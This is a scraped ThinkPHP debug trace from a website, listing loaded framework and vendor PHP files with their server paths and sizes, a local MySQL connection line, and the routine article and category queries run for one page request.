  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000561s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000728s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.001364s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.009581s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000690s ]
  6. SELECT * FROM `set` [ RunTime:0.002154s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000663s ]
  8. SELECT * FROM `article` WHERE `id` = 473091 LIMIT 1 [ RunTime:0.016999s ]
  9. UPDATE `article` SET `lasttime` = 1770437720 WHERE `id` = 473091 [ RunTime:0.002907s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 66 LIMIT 1 [ RunTime:0.000293s ]
  11. SELECT * FROM `article` WHERE `id` < 473091 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001948s ]
  12. SELECT * FROM `article` WHERE `id` > 473091 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.006707s ]
  13. SELECT * FROM `article` WHERE `id` < 473091 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.004056s ]
  14. SELECT * FROM `article` WHERE `id` < 473091 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.011214s ]
  15. SELECT * FROM `article` WHERE `id` < 473091 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.007851s ]
0.138544s